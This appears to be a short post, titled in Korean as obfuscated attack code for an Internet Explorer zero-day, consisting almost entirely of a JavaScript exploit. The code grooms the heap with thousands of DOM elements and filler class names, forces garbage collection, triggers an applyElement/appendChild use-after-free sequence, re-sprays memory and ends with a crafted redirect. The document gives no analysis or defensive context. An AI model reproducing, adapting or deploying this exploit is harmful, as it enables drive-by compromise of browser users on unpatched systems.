IE 제로데이 난독화된 공격코드

var e0 = null;
var e1 = null;
var e2 = null;
var arrObject = new Array(3000);
var elmObject = new Array(500);

for(var i=0; i<arrObject.length; i++) {
	arrObject[i] = document.createElement('div');
	arrObject[i].className = unescape("ababababababababababababababababababababa");
}

for(var i=0; i<arrObject.length; i+=2) {
	arrObject[i].className = null;
}
CollectGarbage();

for(var i=0; i<elmObject.length; i++) {
	elmObject[i] = document.createElement('button');
}

for(var i=1; i<arrObject.length; i+=2) {
	arrObject[i].className = null;
}
CollectGarbage();

try {
	location.href = 'ms-help://'
} catch(e) {
}

try {
	e0 = document.getElementById("a");
	e1 = document.getElementById("b");
	e2 = document.createElement("q");
	e1.applyElement(e2);
	e1.appendChild(document.createElement('button'));
	e1.applyElement(e0);
	e2.outerText = "";
	e2.appendChild(document.createElement('body'));
} catch(e) {
}
CollectGarbage();

for(var i=0; i<20; i++) {
	arrObject[i].className = unescape("ababababababababababababababababababababa");
}

window.location = unescape("%u0154%u14cdhttps://www.google.com/settings/account");